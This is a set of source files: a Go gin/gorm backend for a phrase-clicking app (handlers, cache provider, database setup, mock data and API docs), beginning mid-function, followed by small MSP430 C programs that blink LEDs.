c.JSON(http.StatusBadRequest, gin.H{
"c": 10001,
"d": "",
"m": "An existing item already exists",
})
} else {
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": err.Error(),
})
}
return
}
// zap.L().Sugar().Infof("test add new phrase cost: %v", time.Since(start))
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": "",
"m": "",
})
}
func (s *Service) TestPhraseHotPostHandler(c *gin.Context) {
type phraseClick struct {
PhraseID int `json:"phrase_id"`
Clicks int `json:"clicks"`
OpenID string `json:"open_id"`
GroupID int `json:"group_id"`
}
newPhraseClick := phraseClick{
PhraseID: rand.Intn(10000000) + 1,
GroupID: rand.Intn(5) + 1,
OpenID: fmt.Sprintf("%d", (rand.Intn(5)+1)*100),
Clicks: rand.Intn(5) + 1,
}
var phraseRecord model.PhraseModel
phrase_id := newPhraseClick.PhraseID
clicks := newPhraseClick.Clicks
open_id := newPhraseClick.OpenID
group_id := newPhraseClick.GroupID
// start := time.Now()
// check validation of phrase in phrase_models
phraseRecordRe := s.db.Table("phrase_models").Where("phrase_id = ? AND status = ?", phrase_id, 2).Find(&phraseRecord)
if phraseRecordRe.Error != nil {
zap.L().Sugar().Error("Error! Check validation of phrase in phrase_models:", phraseRecordRe.Error)
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": phraseRecordRe.Error.Error(),
})
return
}
// if find the reviewed phrase exist in phrase_models, then insert the click stats
if phraseRecordRe.RowsAffected > 0 {
if err := s.db.Create(&model.PhraseClickModel{PhraseID: phrase_id, Clicks: clicks, OpenID: open_id, GroupID: group_id, ClickTime: time.Now().Unix()}).Error; err != nil {
zap.L().Sugar().Error("Error! Failed to update phrase click model: ", err)
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": err.Error(),
})
return
}
}
// zap.L().Sugar().Infof("Test update phrase click cost: %v", time.Since(start))
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": "",
"m": "",
})
}
func (s *Service) TestUserPostHandler(c *gin.Context) {
const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
str := make([]byte, 10)
for i := range str {
str[i] = letterBytes[rand.Intn(len(letterBytes))]
}
req := model.UserModel{
OpenID: string(str),
NickName: string(str),
Sex: rand.Intn(2) + 1,
Province: "广州",
City: string(str),
HeadImgURL: string(str),
}
if err := s.db.Table("user_models").
Create(&model.UserModel{OpenID: req.OpenID, NickName: req.NickName, Sex: req.Sex, Province: req.Province, City: req.City, HeadImgURL: req.HeadImgURL}).Error; err != nil {
mysqlErr := &mysql.MySQLError{}
if errors.As(err, &mysqlErr) && mysqlErr.Number == 1062 {
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": "",
"m": "",
})
} else {
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": err.Error(),
})
}
return
}
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": "",
"m": "",
})
}
func (s *Service) GetOverviewHandler(c *gin.Context) {
// sex stats
type sexModel struct {
Sex int `json:"sex"`
Count int `json:"count"`
}
var sexRecords []sexModel
if err := s.db.Table("user_models").
Select("sex, count(*) as count").
Group("sex").
Find(&sexRecords).Error; err != nil {
zap.L().Sugar().Error("Error! Get user distrbution failed: ", err)
return
}
type sexResponseModel struct {
Male int `json:"male"`
Female int `json:"female"`
Secret int `json:"secret"`
}
var sexRes sexResponseModel
var totalUser int
for _, r := range sexRecords {
switch r.Sex {
case 1:
sexRes.Male = r.Count
case 2:
sexRes.Female = r.Count
case 3:
sexRes.Secret = r.Count
}
totalUser += r.Count
}
// location stats
type locationModel struct {
Province string `json:"province"`
Count int `json:"count"`
}
var locationsRecords []locationModel
start := time.Now()
if err := s.db.Table("user_models").
Select("province, count(*) as count").
Group("province").
Order("count desc, province desc").
Limit(5).
Find(&locationsRecords).Error; err != nil {
zap.L().Sugar().Error("Error! Get user distrbution failed: ", err)
return
}
var top5LocationsCount int
for _, location := range locationsRecords {
top5LocationsCount += location.Count
}
if top5LocationsCount > 0 {
otherLocations := locationModel{
Province: "其他",
Count: totalUser - top5LocationsCount,
}
locationsRecords = append(locationsRecords, otherLocations)
}
type responseModel struct {
TotalUser int `json:"total_users"`
TotalValidPhrase int `json:"total_valid_phrases"`
TotalClicks int `json:"total_clicks"`
Sex sexResponseModel `json:"sex"`
Localtions []locationModel `json:"locations"`
}
var totalValidPhrase int
if err := s.db.Table("phrase_models").
Select("count(*)").
Where("status = ?", 2).
Find(&totalValidPhrase).Error; err != nil {
zap.L().Sugar().Error("Error! Get total valid phrase failed: ", err)
return
}
type sumClickModel struct {
Clicks int `json:"clicks"`
}
var totalClicks []sumClickModel
if err := s.db.Table("phrase_click_models").
Select("sum(clicks) as clicks").
Scan(&totalClicks).Error; err != nil {
zap.L().Sugar().Error("Error! Get total clicks failed: ", err)
return
}
zap.L().Sugar().Infof("get overview cost: %v", time.Since(start))
var resp responseModel
resp.TotalUser = totalUser
resp.TotalClicks = totalClicks[0].Clicks
resp.TotalValidPhrase = totalValidPhrase
resp.Sex = sexRes
resp.Localtions = locationsRecords
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": resp,
"m": "",
})
}
func (s *Service) GetClickTrendsHandler(c *gin.Context) {
type clickTrendsModel struct {
Time int64 `json:"time"`
Clicks int `json:"clicks"`
}
var clickTrendsRecords, clickTrendsResp []clickTrendsModel
start := time.Now()
if err := s.db.Raw("select time, agg_clicks as clicks from (SELECT *, sum(clicks) over (partition by gid order by time) as agg_clicks from (SELECT 1 as gid, ceiling(click_time/600)*600 as time, sum(clicks) as clicks FROM phrase_click_models GROUP BY ceiling(click_time/600)) as t ) as tt WHERE tt.time > UNIX_TIMESTAMP(NOW() - INTERVAL 3 HOUR);").Scan(&clickTrendsRecords).Error; err != nil {
zap.L().Sugar().Error("Error! Get click trends failed: ", err)
return
}
t := time.Now().Add(-time.Duration(170) * time.Minute)
timeArr := make([]int64, 18)
for i := 0; i < 18; i++ {
timeArr[i] = t.Add(time.Duration(10*(i+1))*time.Minute).Unix() / 600 * 600
}
for i, t := range timeArr {
trend := clickTrendsModel{
Time: t,
Clicks: 0,
}
if i != 0 {
trend.Clicks = clickTrendsResp[i-1].Clicks
} else {
var total int
s.db.Raw(fmt.Sprintf("select sum(clicks) from phrase_click_models where click_time < %d", t)).First(&total)
trend.Clicks = total
}
for _, resp := range clickTrendsRecords {
if resp.Time == t {
trend.Clicks = resp.Clicks
break
}
}
clickTrendsResp = append(clickTrendsResp, trend)
}
zap.L().Sugar().Infof("get click trends cost: %v", time.Since(start))
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": clickTrendsResp,
"m": "",
})
}
<file_sep>package provider
import (
"database/sql"
"fmt"
"math/rand"
"sync"
"time"
"github.com/YiniXu9506/devconG/model"
"go.uber.org/zap"
"gorm.io/gorm"
)
type ScrollingPhrasesResponse struct {
PhraseID int `json:"phrase_id"`
Text string `json:"text"`
Clicks int `json:"clicks"`
HotGroupID int `json:"hot_group_id"`
HotGroupClicks int `json:"hot_group_clicks"`
}
type PhrasesCacheProvider struct {
db *gorm.DB
cachedPhrases []ScrollingPhrasesResponse
mu sync.RWMutex
}
type TopClicksPhraseModel struct {
Clicks int `json:"clicks"`
PhraseID int `json:"phrase_id"`
GroupID int `json:"group_id"`
}
func NewPhrasesCacheProvider(db *gorm.DB) *PhrasesCacheProvider {
phraseCache := &PhrasesCacheProvider{
db: db,
cachedPhrases: make([]ScrollingPhrasesResponse, 0, 100),
}
go periodUpdateCache(phraseCache)
return phraseCache
}
/* if the counts of reviewed phrase are less than the limit, set the limit to reviewedPhraseCount
calculate and update phrases:
append 30% neweset phrases, whose status need to be reviewd
append 30% hot phrases
append 40% random phrases
*/
func getReturnPhraseCount(limit int, reviewedPhraseCount int, db *gorm.DB) (int, int, int) {
if reviewedPhraseCount < limit {
limit = reviewedPhraseCount
}
newestPhrasesCount := int(float64(limit) * 0.3)
topNPhrasesCount := int(float64(limit) * 0.3)
return newestPhrasesCount, topNPhrasesCount, limit
}
// get scrolling phrase from phraseCache according to limit
func (cp *PhrasesCacheProvider) GetScrollingPhrases(limit int) []ScrollingPhrasesResponse {
cp.mu.RLock()
var phrase []ScrollingPhrasesResponse
reviewedPhraseCount := len(cp.cachedPhrases)
newestPhrasesCount, topNPhrasesCount, limit := getReturnPhraseCount(limit, reviewedPhraseCount, cp.db)
randeomPhraseCount := limit - newestPhrasesCount - topNPhrasesCount
// sliceGap uses to slice phrase
sliceGap := int(float64(reviewedPhraseCount) * 0.3)
phrase = append(phrase, cp.cachedPhrases[:newestPhrasesCount]...)
phrase = append(phrase, cp.cachedPhrases[sliceGap:sliceGap+topNPhrasesCount]...)
phrase = append(phrase, cp.cachedPhrases[2*sliceGap:2*sliceGap+randeomPhraseCount]...)
rand.Shuffle(len(phrase), func(i, j int) {
phrase[i], phrase[j] = phrase[j], phrase[i]
})
defer cp.mu.RUnlock()
return phrase
}
func CacheNPhrases(id int, cp *PhrasesCacheProvider, c chan ScrollingPhrasesResponse) {
var phrase ScrollingPhrasesResponse
var phraseRecord model.PhraseModel
var phraseClicksDistribution []TopClicksPhraseModel
var topClickGroup TopClicksPhraseModel
totalClicks := 0
defer func() {
c <- phrase
}()
if err := cp.db.Debug().Table("phrase_models").
Select("phrase_id, text, group_id").
Where("phrase_id = ?", id).
Find(&phraseRecord).Error; err != nil {
zap.L().Sugar().Error("Error! Retrive phrase from db: ", err)
return
}
// find out phrase click distributions
if err := cp.db.Debug().Table("phrase_click_models").
Select("sum(clicks) as clicks, phrase_id, group_id").
Where("phrase_id = ?", id).
Group("phrase_id, group_id").
Order("clicks desc").
Find(&phraseClicksDistribution).Error; err != nil {
zap.L().Sugar().Error("Error! Retrive top clicks group: ", err)
return
}
if len(phraseClicksDistribution) == 0 {
topClickGroup.GroupID = phraseRecord.GroupID
totalClicks = 0
} else {
// sum up clicks for phrase
for _, distribution := range phraseClicksDistribution {
totalClicks = totalClicks + distribution.Clicks
}
topClickGroup.Clicks = phraseClicksDistribution[0].Clicks
topClickGroup.GroupID = phraseClicksDistribution[0].GroupID
}
phrase.PhraseID = phraseRecord.PhraseID
phrase.Text = phraseRecord.Text
phrase.Clicks = totalClicks
phrase.HotGroupClicks = topClickGroup.Clicks
phrase.HotGroupID = topClickGroup.GroupID
}
func getNewestNPhrase(db *gorm.DB, newestPhrasesCount int, c chan []model.PhraseModel) {
var newestPhrases []model.PhraseModel
defer func() {
c <- newestPhrases
}()
// get newest-N phrases
if err := db.Table("phrase_models").
Where("status = ?", 2).
Order("update_time desc").
Limit(newestPhrasesCount).
Find(&newestPhrases).Error; err != nil {
zap.L().Sugar().Error("Error! Get newest-N phrases: ", err)
return
}
}
func getTopNPhrase(db *gorm.DB, topNPhrasesCount int, c chan []TopClicksPhraseModel) {
var topClicksPhrases []TopClicksPhraseModel
defer func() {
c <- topClicksPhrases
}()
if err := db.Debug().Raw("SELECT sum(clicks) as clicks, a.phrase_id FROM phrase_models as a INNER JOIN phrase_click_models as b ON a.phrase_id = b.phrase_id and a.status = 2 group by a.phrase_id order by clicks desc limit @limit", sql.Named("limit", topNPhrasesCount)).
Scan(&topClicksPhrases).Error; err != nil {
zap.L().Sugar().Error("Error! Get top N clicks phrases: ", err)
return
}
}
func getRandomNPhrase(db *gorm.DB, randomNPhrasesCount int, c chan []model.PhraseModel) {
var randomPickPhrases []model.PhraseModel
defer func() {
c <- randomPickPhrases
}()
if err := db.Debug().Raw("SELECT * FROM phrase_models where status = 2 ORDER BY RAND() LIMIT ?", randomNPhrasesCount).
Scan(&randomPickPhrases).Error; err != nil {
zap.L().Sugar().Error("Error! Get random phrases: ", err)
return
}
}
func (cp *PhrasesCacheProvider) updateCache() {
c := make(chan ScrollingPhrasesResponse)
newestNPhraseC := make(chan []model.PhraseModel)
topNPhraseC := make(chan []TopClicksPhraseModel)
randomPhraseC := make(chan []model.PhraseModel)
var newestPhrases, randomPickPhrases []model.PhraseModel
var topClicksPhrases []TopClicksPhraseModel
start := time.Now()
var reviewedPhraseCount int
limit := 30
if err := cp.db.Raw("Select count(*) from phrase_models where status=2").
Find(&reviewedPhraseCount).Error; err != nil {
zap.L().Sugar().Error("Error! Select reviewed phrases counts: ", err)
return
}
newestPhrasesCount, topNPhrasesCount, limit := getReturnPhraseCount(limit, reviewedPhraseCount, cp.db)
fmt.Printf("count %v %v %v\n", newestPhrasesCount, topNPhrasesCount, limit)
// get newest-N phrases
go getNewestNPhrase(cp.db, newestPhrasesCount, newestNPhraseC)
// get top-N click phrases
go getTopNPhrase(cp.db, topNPhrasesCount, topNPhraseC)
// get more random phrase
go getRandomNPhrase(cp.db, (limit-topNPhrasesCount-newestPhrasesCount)*4, randomPhraseC)
newestPhrases = <-newestNPhraseC
topClicksPhrases = <-topNPhraseC
randomPickPhrases = <-randomPhraseC
// de-duplicate phrase
allIDs := make(map[int]bool)
var allIDSorted []int
for _, item := range newestPhrases {
if res, ok := allIDs[item.PhraseID]; !ok || !res {
allIDSorted = append(allIDSorted, item.PhraseID)
}
allIDs[item.PhraseID] = true
}
for _, item := range topClicksPhrases {
if res, ok := allIDs[item.PhraseID]; !ok || !res {
allIDSorted = append(allIDSorted, item.PhraseID)
}
allIDs[item.PhraseID] = true
}
for _, item := range randomPickPhrases {
if res, ok := allIDs[item.PhraseID]; !ok || !res {
allIDSorted = append(allIDSorted, item.PhraseID)
}
allIDs[item.PhraseID] = true
}
for _, id := range allIDSorted {
go CacheNPhrases(id, cp, c)
}
var phrases []ScrollingPhrasesResponse
for _ = range allIDSorted {
phrase := <-c
if phrase.PhraseID == 0 && len(phrase.Text) == 0 {
continue
}
phrases = append(phrases, phrase)
}
zap.L().Sugar().Infof("update phrase cache cost: %v", time.Since(start))
cp.mu.Lock()
cp.cachedPhrases = phrases
cp.mu.Unlock()
}
func periodUpdateCache(cache *PhrasesCacheProvider) {
ticker := time.NewTicker(3 * time.Second)
for {
<-ticker.C
cache.updateCache()
}
}
// type ClickTrendsResponse struct {
// Time string `json:"time"`
// Clicks int `json:"clicks"`
// }
// type ClickTrendsCacheProvider struct {
// db *gorm.DB
// cachedClickTrends []ClickTrendsResponse
// mu sync.RWMutex
// }
// func NewClickTrendsCacheProvider(db *gorm.DB) *ClickTrendsCacheProvider {
// clickTrendsCache := &ClickTrendsCacheProvider{
// db: db,
// cachedClickTrends: make([]ClickTrendsResponse, 0, 100),
// }
// go periodUpdateClickTrendsCache(clickTrendsCache)
// return clickTrendsCache
// }
// func (ct *ClickTrendsCacheProvider) GetClickTrends() []ClickTrendsResponse {
// return ct.cachedClickTrends
// }
// func (ct *ClickTrendsCacheProvider) updateCache() {
// var clickTrendsRecords []ClickTrendsResponse
// start := time.Now()
// if err := ct.db.Debug().Raw("SELECT FROM_UNIXTIME(floor(click_time/600)*600, '%H:%i') as time, sum(clicks) as clicks FROM phrase_click_models WHERE click_time > UNIX_TIMESTAMP(NOW() - INTERVAL 3 HOUR) GROUP BY floor(click_time/600) order by time;").Scan(&clickTrendsRecords).Error; err != nil {
// zap.L().Sugar().Error("Error! Get click trends failed: ", err)
// return
// }
// zap.L().Sugar().Infof("update click trends cache cost: %v", time.Since(start))
// ct.mu.Lock()
// ct.cachedClickTrends = clickTrendsRecords
// ct.mu.Unlock()
// }
// func periodUpdateClickTrendsCache(cache *ClickTrendsCacheProvider) {
// cache.updateCache()
// ticker := time.NewTicker(10 * time.Second)
// for {
// <-ticker.C
// cache.updateCache()
// }
// }
<file_sep>package utils
import (
"unicode/utf8"
)
func ValidateText(text string) bool {
count := utf8.RuneCountInString(text)
if count > 20 || count <= 0 {
return false
}
return true
}<file_sep>module github.com/YiniXu9506/devconG
go 1.14
require (
github.com/fsnotify/fsnotify v1.4.9
github.com/gin-contrib/cors v1.3.1
github.com/gin-contrib/pprof v1.3.0
github.com/gin-contrib/zap v0.0.1
github.com/gin-gonic/gin v1.7.2
github.com/go-sql-driver/mysql v1.6.0
github.com/natefinch/lumberjack v2.0.0+incompatible
github.com/pingcap/log v0.0.0-20210625125904-98ed8e2eb1c7
github.com/rs/cors v1.8.0
github.com/spf13/viper v1.8.1
go.uber.org/zap v1.17.0
gorm.io/driver/mysql v1.1.1
gorm.io/gorm v1.21.11
gorm.io/plugin/dbresolver v1.1.0
)
<file_sep>package utils
import (
"fmt"
"log"
"os"
"time"
"github.com/YiniXu9506/devconG/model"
"go.uber.org/zap"
"gorm.io/driver/mysql"
"gorm.io/gorm"
"gorm.io/gorm/logger"
)
func TiDBConnect(hostName string, port int, cloudHostName string, cloudPort int) []*gorm.DB {
dsn := fmt.Sprintf("root@tcp(%v:%v)/test?charset=utf8mb4&parseTime=True&loc=Local", hostName, port)
db2DSN := fmt.Sprintf("root@tcp(%v:%v)/test?charset=utf8mb4&parseTime=True&loc=Local", cloudHostName, cloudPort)
fmt.Println(dsn, db2DSN)
start := time.Now()
newLogger := logger.New(
log.New(os.Stdout, "\r\n", log.LstdFlags), // io writer
logger.Config{
SlowThreshold: 6 * time.Second, // Slow SQL threshold
LogLevel: logger.Silent, // Log level
IgnoreRecordNotFoundError: true, // Ignore ErrRecordNotFound error for logger
Colorful: false, // Disable color
},
)
var dbs []*gorm.DB
db, err := gorm.Open(mysql.Open(dsn), &gorm.Config{Logger: newLogger})
if err != nil {
panic(fmt.Sprintf("failed to connect database %v", err))
}
dbs = append(dbs, db)
if len(cloudHostName) > 0 && cloudPort > 0 {
fmt.Println("use cloud database", db2DSN)
cloudDB, err := gorm.Open(mysql.Open(db2DSN), &gorm.Config{Logger: newLogger})
if err != nil {
panic(fmt.Sprintf("failed to connect database %v", err))
}
dbs = append(dbs, cloudDB)
}
zap.L().Sugar().Infof("migrate db cost: %v\n", time.Since(start))
for _, db := range dbs {
sqlDB, err := db.DB()
db.AutoMigrate(&model.PhraseClickModel{}, &model.PhraseModel{}, &model.UserModel{})
if err != nil {
panic(fmt.Sprintf("failed to connect database %v", err))
}
// SetMaxIdleConns sets the maximum number of connections in the idle connection pool.
sqlDB.SetMaxIdleConns(10)
// SetMaxOpenConns sets the maximum number of open connections to the database.
sqlDB.SetMaxOpenConns(500)
// SetConnMaxLifetime sets the maximum amount of time a connection may be reused.
sqlDB.SetConnMaxLifetime(time.Hour)
// start = time.Now()
// model.MockPhraseClick(10, db)
// model.MockPhrase(50, db)
// model.MockUser(5, db)
// zap.L().Sugar().Infof("mock cost: %v\n", time.Since(start))
}
return dbs
}
// MySQLError is an error type which represents a single MySQL error
type MySQLError struct {
Number uint16
Message string
}
func (me MySQLError) Error() string {
return fmt.Sprintf("Error %d: %s", me.Number, me.Message)
}
<file_sep># PingCAP Account API 文档
- [Fetch Phrases](#fetch-phrases)
- [Add a New Phrase](#add-a-new-phrase)
- [Submit Phrase Click Info](#submit-phrase-click-info)
### Fetch Phrases
#### Request
- Method: **GET**
- URL: `/phrases`
- Query: `?limit=100`
#### Response Example
```json
{
"c": 0,
"m": "",
"d": [
{
// phrase_id int
"phrase_id": <phrase_id>,
// text string
"text": '<phrase_text>',
// hot_group_id int, 贡献最大的阵营(颜色)
"hot_group_id": <hot_group_id>,
// hot_group_clicks int, 贡献最大的阵营贡献的点击数
"hot_group_clicks": <hot_group_clicks>,
// clicks int,总点击次数(大小)
"clicks": <click_count>,
// update_time int, 时间戳,秒
"update_time": < update_time_second>
},
]
}
```
### Add a New Phrase
#### Request
- Method: **POST**
- URL: `/phrase`,
#### Request Example
```json
{
// 词条名
"text": "Hello!",
// wx open id
"open_id": "123456789",
// 获取到的用户 group id
"group_id": 1
}
```
#### Response Example
- Success
```json
{
"c": 0,
"m": "",
"d": ""
}
```
- Fail
```json
// 重名校验
{
"c": 10001,
"d": "",
"m": "An existing item already exists"
}
// 不符合要求的词条名(后端校验)
{
"c": 10002,
"d": "",
"m": "Maximum 10 characters"
}
```
### Submit Phrase Click Info
- Method: **POST**
- URL: `/phrase_hot`,
#### Request Example
```json
[
{
// phrase_id
"phrase_id": 1,
// wx open id
"open_id": "123456789",
// group_id
"group_id": 1,
// 点击次数
"clicks": 2,
},
... ...
]
```
#### Response Example
- Success
```json
{
"c": 0,
"m": "",
"d": ""
}
```
<file_sep>package service
import (
"github.com/YiniXu9506/devconG/provider"
"github.com/gin-gonic/gin"
"github.com/spf13/viper"
"gorm.io/gorm"
)
type Service struct {
db *gorm.DB
cdb *gorm.DB
phraseCacheProvider *provider.PhrasesCacheProvider
// clickTrendsCacheProvider *provider.ClickTrendsCacheProvider
config *viper.Viper
}
func NewService(dbs []*gorm.DB, config *viper.Viper) *Service {
var db, cdb *gorm.DB
if len(dbs) > 0 {
db = dbs[0]
if len(dbs) == 2 {
cdb = dbs[1]
}
}
phraseCacheProvider := provider.NewPhrasesCacheProvider(db)
// clickTrendsCacheProvider := provider.NewClickTrendsCacheProvider(db)
return &Service{
db: db,
cdb: cdb,
phraseCacheProvider: phraseCacheProvider,
// clickTrendsCacheProvider: clickTrendsCacheProvider,
config: config,
}
}
func (s *Service) Start(r *gin.Engine) {
// APIs for wechat mini program
r.GET("/phrases", s.GetScrollingPhrasesHandler)
r.POST("/phrase", s.AddPhraseHandler)
r.POST("/phrase_hot", s.UpdateClickedPhraseHandler)
r.POST("/user", s.AddUserHandler)
r.GET("/h5_settings", s.GetH5SettingHandler)
r.GET("/test-phrase-post", s.TestPhrasePostHandler)
r.GET("/test-phrase-hot-post", s.TestPhraseHotPostHandler)
r.GET("/test-user-post", s.TestUserPostHandler)
// APIs for management portal
r.GET("/phrases_full", s.GetAllPhrasesHandler)
r.GET("/top_phrases", s.GetTopNPhrasesHandler)
r.DELETE("/phrase", s.DeletePhraseHandler)
r.PATCH("/phrase", s.PatchPhraseHandler)
r.PATCH("/batch_review_phrase", s.PatchBatchPhraseHandler)
// API for BI
r.GET("/overview", s.GetOverviewHandler)
r.GET("/click_trends", s.GetClickTrendsHandler)
}
<file_sep>package model
import (
"fmt"
"math/rand"
"time"
"gorm.io/gorm"
"gorm.io/gorm/clause"
)
func MockPhraseClick(n int, db *gorm.DB) {
t := time.Now().Add(-time.Duration(100) * time.Minute)
for i := 1; i <= n; i++ {
phraseClick := PhraseClickModel{
ID: i,
GroupID: rand.Intn(5) + 1,
OpenID: fmt.Sprintf("%d", (rand.Intn(5)+1)*100),
PhraseID: rand.Intn(50) + 1,
Clicks: rand.Intn(5) + 1,
ClickTime: t.Add(time.Duration(i) * time.Minute).Unix(),
}
db.Clauses(clause.Insert{Modifier: "IGNORE"}).Create(&phraseClick)
}
}
func MockPhrase(n int, db *gorm.DB) {
for i := 1; i <= n; i++ {
phrase := PhraseModel{
PhraseID: i,
Text: fmt.Sprintf("tidb%v", i),
GroupID: rand.Intn(5) + 1,
OpenID: fmt.Sprintf("%d", (rand.Intn(5)+1)*100),
Status: rand.Intn(3) + 1,
CreateTime: time.Now().Unix(),
UpdateTime: time.Now().Unix(),
}
db.Clauses(clause.Insert{Modifier: "IGNORE"}).Create(&phrase)
}
}
func MockUser(n int, db *gorm.DB) {
const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
for i := 1; i <= n; i++ {
str := make([]byte, 10)
for i := range str {
str[i] = letterBytes[rand.Intn(len(letterBytes))]
}
user := UserModel{
OpenID: string(str),
NickName: string(str),
Sex: rand.Intn(2) + 1,
Province: "广州",
City: string(str),
HeadImgURL: string(str),
}
db.Clauses(clause.Insert{Modifier: "IGNORE"}).Create(&user)
}
}
| 11af68e5af68753e3ff8bab6c8174a643151e3e7 | [
"Markdown",
"SQL",
"Go Module",
"Go"
] | 11 | Go | YiniXu9506/devconG | 38427e5f337927505ffac9dc3cc0be10945171ef | 5b42cdefdd26f0eaa939971b94fe66e744b4a3ac |
refs/heads/master | <repo_name>NickWheel/node-fetch<file_sep>/public/javascripts/main.js
let data = {
name: '',
age: ''
}
document.querySelector('button').addEventListener('click', ()=>{
data.name = document.querySelector('.name').value;
data.age = document.querySelector('.age').value;
fetch('/users', {
method: 'POST',
body: JSON.stringify(data),
headers:{
'Content-Type': 'application/json'
}
}).then(res=>{return res.json()})
.then(response => {
console.log('Успех:', response);
return response
})
.then(data=>{
console.log(data.name, data.age);
return data;
})
.catch(error => console.error('Ошибка:', error));
});
fetch('/users')
.then(res=>{return res.json()})
.then((response)=>{
console.log(response.id);
return response.id;
})
.then((num)=>{
console.log(num/2);
return num/2;
})
.then((halfed_num)=>{
halfed_num+= ' is a string now!';
console.log(halfed_num);
return halfed_num;
});
// fetch('/users')
// .then((res)=>{
// return res.js
// .then((res)=>{
// return res.json();
// })
// .then((data)=>{})on();
// })
// .then((data)=>{}) | b18a3079e6bbe78d1b6c93ec034ed126bdd70abb | [
"JavaScript"
] | 1 | JavaScript | NickWheel/node-fetch | 3a04fbefe2f7e69ba0c22741f0a18c22cb945f2d | 631e969d7ebd6ff2e508453935dd9134391b00f4 |
refs/heads/master | <repo_name>emadum/hydra-express-plugin-aws-sqs<file_sep>/README.md
# hydra-express-plugin-jwt-auth
## Summary
Uses the [fwsp-jwt-auth](http://github.com/flywheelsports/fwsp-jwt-auth) module to decode and validate JWT tokens.
There should be a root-level `jwtPublicCert` entry in the service config with the path to the public key file.
This plugin does not require a config entry in the `hydra.plugins` section.
Express middleware `hydraExpress.validateJwtToken()` decodes valid, unexpired auth tokens into `req.authToken`, or returns a 401 response otherwise.
These tokens should be in the `authorization` header of the request, as described [here](https://jwt.io/introduction/).
## Usage
```javascript
const hydraExpress = require('hydra-express');
const JWTAuthPlugin = require('hydra-express-plugin-jwt-auth');
hydraExpress.use(new JWTAuthPlugin());
api.get('/needsLogin', hydraExpress.validateJwtToken(), (req, res) => {
res.json({decodedToken: req.authToken});
});
```
<file_sep>/index.js
'use strict';
const HydraExpressPlugin = require('hydra-express-plugin');
const SQSWorker = require('./sqs-worker');
/**
* @name SQSPlugin
* @summary HydraExpressPlugin for AWS SQS
* @extends HydraExpressPlugin
*/
class SQSPlugin extends HydraExpressPlugin {
constructor() {
super('aws-sqs');
}
/**
* @override
*/
setHydraExpress(hydraExpress) {
super.setHydraExpress(hydraExpress);
this.sqs = new SQSWorker();
this.sqs.on('log', args => hydraExpress.appLogger.info(...args));
this.sqs.on('error', err => hydraExpress.appLogger.error({err}));
}
/**
* @override
*/
setConfig(serviceConfig) {
super.setConfig(serviceConfig);
this.sqs.init(this.opts);
this.hydraExpress.sqs = this.sqs;
}
/**
* @override
*/
onServiceReady() { /*noop*/ }
}
module.exports = SQSPlugin;
<file_sep>/sqs-worker.js
const EventEmitter = require('events');
const Consumer = require('sqs-consumer');
const AWS = require('aws-sdk');
class SQSWorker extends EventEmitter {
constructor() {
super();
}
init(awsConfig) {
this.queueUrl = awsConfig.sqsQueueUrl;
AWS.config.update({
region: awsConfig.region,
accessKeyId: awsConfig.accessKeyId,
secretAccessKey: awsConfig.secretAccessKey
});
this.queueWorker = Consumer.create({
queueUrl: this.queueUrl,
handleMessage: this.handleMessage.bind(this),
sqs: new AWS.SQS()
});
this.queueWorker.on('error', error => this.log('QueueWorker Error', error));
}
startQueue() {
this.log('QueueWorker Starting.');
this.queueWorker.start();
}
stopQueue() {
this.queueWorker.stop();
}
log(...args) {
this.emit('log', args);
}
async enqueueMessage(messageBody, QueueUrl = this.queueUrl) {
return await new Promise(
(resolve, reject) => this.queueWorker.sqs.sendMessage(
{
MessageAttributes: {},
MessageBody: JSON.stringify(messageBody),
QueueUrl
},
(err, data) => err ? reject(err) : resolve(data)
)
);
}
async handleMessage(message, done) {
try {
this.emit('message', {
body: JSON.parse(message.Body),
done
});
} catch (error) {
this.emit('error', error);
done(error);
}
}
}
module.exports = SQSWorker;
| 97b5c38ee431a51777c50157ea646ac4a300fede | [
"Markdown",
"JavaScript"
] | 3 | Markdown | emadum/hydra-express-plugin-aws-sqs | 8e76a2d68fa8e56f747db530554df9fe8b01f921 | 3edbaa717feb49e804642420167de4c831602191 |
refs/heads/master | <file_sep>/*
* blink lights at the same time
LINK TO VIDEO:
https://youtu.be/pvXxYGAHjuQ
*/
#include <msp430g2553.h>
#define CTR1 20000
#define CTR2 20000
#define LED1 BIT0
#define LED2 BIT6
void main(void)
{
int i,j;
WDTCTL = WDTPW + WDTHOLD;
P1DIR |= (LED1|LED2);
i=j=0;
for(;;)
{
i++;
j++;
if (i>CTR1)
{
i=0;
P1OUT ^= LED1;
}
if (j>CTR2)
{
j=0;
P1OUT ^= LED2;
}
}
}
<file_sep>/*
* BLINKS AT SEPERATE TIMES
LINK TO VIDEO:
https://youtu.be/yz5C_0LgW3E
*/
#include <msp430g2533.h>
#define CTR1 20000
#define CTR2 20000
#define LED1 BIT0
#define LED2 BIT6
int main(void)
{
WDTCTL = WDTPW | WDTHOLD; // Stop watchdog timer
int i=0;
int j=0;
P1DIR |= (LED1|LED2);
P1OUT ^= LED1;
for(;;)
{
i++;
j++;
if (i>CTR1)
{
i=0;
P1OUT ^= LED1;
}
if (j>CTR2)
{
j=0;
P1OUT ^= LED2;
}
}
}
<file_sep>/*
* BLINK RED AT 2X GREEN SPEED
LINK TO VIDEO:
https://youtu.be/4SFBG2RH-QA
*/
#include <msp430g2553.h> // header for MSP430 G2553 chip
#define CTR1 15000
#define CTR2 30000
#define LED1 BIT0
#define LED2 BIT6
void main(void)
{
WDTCTL = WDTPW + WDTHOLD;
P1DIR |= (LED1|LED2);
int i=0;
int j=0;
for(;;)
{
i++;
j++;
if (i>CTR1)
{
i=0;
P1OUT ^= LED1;
}
if (j>CTR2)
{
j=0;
P1OUT ^= LED2;
}
}
}
<file_sep># MSP430
Set of codes for the Texas Instruments MSP430g2553
| 77dc6b4a79404c2fecec7f71b6f805fbeea49dac | [
